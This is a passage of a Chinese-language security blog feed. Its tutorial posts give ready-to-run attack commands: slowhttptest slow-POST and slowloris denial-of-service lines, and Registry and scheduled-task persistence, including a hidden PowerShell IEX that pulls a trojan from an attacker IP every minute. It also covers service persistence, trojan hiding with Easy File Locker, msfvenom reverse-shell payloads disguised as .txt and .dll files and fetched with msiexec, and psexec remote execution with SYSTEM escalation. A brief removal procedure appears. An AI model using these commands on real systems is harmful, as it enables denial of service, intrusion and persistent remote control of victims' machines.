          &lt;td&gt;在HTTP请求头的&lt;code&gt;Content-Length&lt;/code&gt;字段中声明&lt;strong&gt;预期发送8192字节（8KB）的请求体&lt;/strong&gt;，欺骗服务器保持连接等待接收完整数据。&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;-t FAKEVERB&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;HTTP verb&lt;/code&gt;（HTTP方法）&lt;/td&gt;
          &lt;td&gt;指定HTTP请求使用&lt;strong&gt;伪造的非标准方法&lt;/strong&gt;&lt;code&gt;FAKEVERB&lt;/code&gt;（正常HTTP方法为GET/POST/PUT等）。此举可尝试绕过部分服务器的防护规则，也用于测试服务器对非标准方法的兼容性。&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;-u http://[目标ip]&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;URL&lt;/code&gt;（目标地址）&lt;/td&gt;
          &lt;td&gt;指定&lt;strong&gt;攻击目标的URL&lt;/strong&gt;，需将&lt;code&gt;[目标ip]&lt;/code&gt;替换为实际的服务器IP或域名。&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;-x 10&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;block size&lt;/code&gt;（数据块长度）&lt;/td&gt;
          &lt;td&gt;指定每次向服务器发送的&lt;strong&gt;请求体数据块长度为10字节&lt;/strong&gt;。即每次只发10字节，等待110毫秒后再发下一个10字节，故意拖延请求体的传输速度。&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;-p 3&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;probe timeout&lt;/code&gt;（探测超时时间）&lt;/td&gt;
          &lt;td&gt;在发起正式攻击前，工具会先发送一个&lt;strong&gt;探测请求&lt;/strong&gt;检查目标是否可达，若3秒内无响应则判定目标不可达，停止攻击。&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;原理解析：&lt;/strong&gt; 发送 POST 请求时，在请求头中声明&lt;code&gt;Content-Length: 8192&lt;/code&gt;（要发 8KB 数据），然后以 &lt;strong&gt;10 字节 / 110ms&lt;/strong&gt; 的极慢速度发送请求体，让服务器一直等待接收完整的请求体，从而长期占用连接资源。&lt;/p&gt;
&lt;h4 id=&#34;slowloris攻击针对所有接受-get-请求的页面基本通用&#34;&gt;slowloris攻击（针对所有接受 GET 请求的页面，基本通用）
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;攻击命令：&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;slowhttptest -c &lt;span class=&#34;m&#34;&gt;2000&lt;/span&gt; -H -g -o my_header_states -i &lt;span class=&#34;m&#34;&gt;10&lt;/span&gt; -r &lt;span class=&#34;m&#34;&gt;1000&lt;/span&gt; -s &lt;span class=&#34;m&#34;&gt;8192&lt;/span&gt; -t GET -u http://&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -x &lt;span class=&#34;m&#34;&gt;24&lt;/span&gt; -p &lt;span class=&#34;m&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;原理解析：&lt;/strong&gt; 发送 GET 请求时，故意 &lt;strong&gt;逐个缓慢发送 HTTP 请求头字段&lt;/strong&gt; （如&lt;code&gt;Host:&lt;/code&gt;、&lt;code&gt;User-Agent:&lt;/code&gt;、&lt;code&gt;Accept:&lt;/code&gt;等），每个字段大小为 24 字节，发送间隔仅 10ms（看似快，但对服务器的连接处理机制而言，仍足够慢以占用连接），且不发送请求头的结束标记（&lt;code&gt;\r\n\r\n&lt;/code&gt;），让服务器认为请求头还在传输中，从而一直保持连接等待完整的请求头。&lt;/p&gt;
&lt;h2 id=&#34;其他内容&#34;&gt;其他内容
&lt;/h2&gt;&lt;h3 id=&#34;驱动级文件保护软件&#34;&gt;驱动级文件保护软件
&lt;/h3&gt;&lt;p&gt;使用 **Easy File Locker ** 可以对我们的文件进行驱动级的保护和隐藏，当然包括我们放在目标上的木马程序。&lt;/p&gt;
&lt;p&gt;当配置完毕（或我们自己中招）后，我们可以检查下面两个文件夹看看是否真的生效了&lt;/p&gt;
&lt;p&gt;&lt;code&gt;C:/Windows/xlfks.xxx&lt;/code&gt;(包括但不限于dat、dll、ini、log&amp;hellip;&amp;hellip;)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;C:/Windows/system32/drivers/xlkfs.sys&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果检查出上面两个文件就说明是驱动级的文件隐藏&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;如何清除：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;查询服务状态&lt;code&gt;sc qc xlkfs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;停止服务&lt;code&gt;net stop xlkfs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;删除服务&lt;code&gt;sc delete xlkfs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;找到上面的两位个文件残余并删除&lt;/li&gt;
&lt;li&gt;删除木马程序&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;注册表自启动&#34;&gt;注册表自启动
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;Win+R&lt;/code&gt;输入regedit回车打开注册表&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;路径一：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;找到路径为&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;路径二：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;找到路径为&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;路径三：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;找到路径为&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;路径四：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;找到路径为&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;路径五：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;找到路径为&lt;code&gt;HKEY_CURRENT_USER\Environment&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;**说明：**路径三、四、五内的条目都是Windows在登录时会执行的任务&lt;/p&gt;
&lt;p&gt;右键新建字符串值，在数据中输入要自启动的文件路径和启动参数&lt;/p&gt;
&lt;h3 id=&#34;计划任务启动&#34;&gt;计划任务启动
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;schtasks&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;create&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;sc &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;minute&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;mo&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tn&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;示例名称&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tr&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;powershell.exe -nop -w hidden
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;-c \&amp;#34;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IEX&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;new-object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;net&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;webclient&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;py&#34;&gt;DownloadString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(\&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;http://[攻击机ip]/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;[木马文件]&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;))\&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;上面的代码会让目标每分钟在后台下载并执行攻击者的木马程序&lt;/p&gt;
&lt;h3 id=&#34;服务启动&#34;&gt;服务启动
&lt;/h3&gt;&lt;p&gt;增加一个服务&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sc create &amp;quot;示例名称&amp;quot; binpath= &amp;quot;cmd /c start 具体命令&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;设置服务描述&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sc description 示例名称 &amp;quot;示例描述&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;设置自动启动&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sc config 示例名称 start= auto&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;开启服务&lt;/p&gt;
&lt;p&gt;&lt;code&gt;net start 示例名称&lt;/code&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>1.13  更多木马程序</title>
        <link>https://www.retr0.xyz/p/1.13-%E6%9B%B4%E5%A4%9A%E6%9C%A8%E9%A9%AC%E7%A8%8B%E5%BA%8F/</link>
        <pubDate>Sun, 14 Dec 2025 18:18:13 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.13-%E6%9B%B4%E5%A4%9A%E6%9C%A8%E9%A9%AC%E7%A8%8B%E5%BA%8F/</guid>
        <description>&lt;h2 id=&#34;隔空植入&#34;&gt;隔空植入
&lt;/h2&gt;&lt;h3 id=&#34;前置知识&#34;&gt;前置知识
&lt;/h3&gt;&lt;blockquote&gt;
&lt;p&gt;Windows是如何判断文件类型的？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;是后缀名吗？&lt;/p&gt;
&lt;p&gt;实质上，Windows并不是通过文件的后缀名来判断文件类型的，因为当我们删除了文件的后缀名时，只要能选择合适的软件，一样能正常打开文件。&lt;/p&gt;
&lt;p&gt;Windows是通过文件头来判断文件类型的，当我们使用 &lt;strong&gt;HxD&lt;/strong&gt; 或 &lt;strong&gt;c32&lt;/strong&gt; 等16进制查看器打开文件时可以发现，其编码的开头总是会带上一些特征性的字符，例如：&lt;/p&gt;
&lt;p&gt;这是一个png文件，可以看到很明显的&lt;code&gt;PNG&lt;/code&gt;标识&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/12/14/693ec4cda0053.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;这是一个exe文件，可以看到&lt;code&gt;MZ、PE&lt;/code&gt;的标识&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/12/14/693ec4cda12c5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;这是一个rar文件，也是很明显的&lt;code&gt;Rar&lt;/code&gt;标识&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://free.picui.cn/free/2025/12/14/693ec4cda104c.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;这说明后缀名的变化并不影响文件实质作用，他只会影响文用户打开文件的方式。&lt;/p&gt;
&lt;p&gt;换句话说，当一个exe文件的后缀名被改为txt时，Windows会把它 &lt;strong&gt;当作&lt;/strong&gt; txt文件打开。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里拓展一个CMD命令：&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;copy /b 文件A.jpg+文件B.zip 文件C.jpg
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这样就可以把文件A.jpg和文件B.zip的二进制内容合并了，当我们要把它当作图片打开时就取后缀名&lt;code&gt;.jpg&lt;/code&gt;当我们要把它当作压缩包打开时就取后缀名&lt;code&gt;.zip&lt;/code&gt;这就是有名的 &lt;strong&gt;图种&lt;/strong&gt; ，其原理正是运用了Windows读取到一种文件头就会判断接下来的内容是什么类型，而合并后的文件具有两个文件头，因此其作为图片或压缩包互不干扰。&lt;/p&gt;
&lt;h3 id=&#34;知识运用&#34;&gt;知识运用
&lt;/h3&gt;&lt;h4 id=&#34;txt伪装木马&#34;&gt;txt伪装木马
&lt;/h4&gt;&lt;p&gt;知道了上面的知识，我们是否可以生成一个后缀名为&lt;code&gt;.txt&lt;/code&gt;但实质为&lt;code&gt;.msi&lt;/code&gt;类型的木马呢？让我们试一试。&lt;/p&gt;
&lt;p&gt;打开Kali攻击机：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;msfvenom -p windows/x64/shell/reverse_tcp &lt;span class=&#34;nv&#34;&gt;lhost&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=[&lt;/span&gt;攻击机ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;lport&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;4444&lt;/span&gt; -f msi &amp;gt;msi.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;接下来我们把它放到我们上一节学习到web目录中进行隔空植入&lt;/p&gt;
&lt;p&gt;所以现在我们只需要在目标机器上执行这一句话就可以了&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;msiexec /q /i http://192.168.80.133/msi.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;或
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;forfiles /p c:&lt;span class=&#34;se&#34;&gt;\w&lt;/span&gt;indows&lt;span class=&#34;se&#34;&gt;\s&lt;/span&gt;ystem32 /m cmd.exe /c &lt;span class=&#34;s2&#34;&gt;&amp;#34;msiexec /q /i http://192.168.80.133/msi.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;dll类型木马&#34;&gt;dll类型木马
&lt;/h4&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;msfvenom -p windows/x64/shell/reverse_tcp &lt;span class=&#34;nv&#34;&gt;lhost&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=[&lt;/span&gt;攻击机ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;lport&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;4444&lt;/span&gt; -f dll &amp;gt;hello.dll
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;被控端执行：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;msiexec /y hello.dll
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;或
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;rundll32.eex shell32.dll,Control_RunDLL ./hello.dll
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;pstools&#34;&gt;pstools
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;当你曾经通过木马入侵了一个主机并获取了管理员或其他某个账户的密码后，某天木马突然失效，你将如何重新侵入之前的主机呢？&lt;/p&gt;
&lt;p&gt;使用微软官方的系统插件pstools&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;准备工作&#34;&gt;准备工作
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;目标主机的防火墙最好关闭&lt;/li&gt;
&lt;li&gt;创建/获得对方计算机的用户名和密码&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;如何操作&#34;&gt;如何操作
&lt;/h3&gt;&lt;p&gt;找到并解压win10攻击机的&lt;code&gt;C:\tools\alltools\远程连接\PSTools.zip&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在解压后的目录启动CMD&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;psexec &lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -u &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;用户名&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -p &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;密码&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; cmd.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;可以看到直接连接上了对方电脑的cmd（话说有点像ssh）&lt;/p&gt;
&lt;p&gt;还可以让对方运行我们电脑里的exe文件&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;psexec &lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -u &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;用户名&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -p &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;密码&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -c c:&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;c.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;如果要对方运行它电脑里的exe&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;psexec &lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -u &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;用户名&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -p &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;密码&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -d notepad.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;还可以尝试提权（以system权限运行程序）&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;psexec &lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -u &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;用户名&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -p &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;密码&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -c -s c:&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;c.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
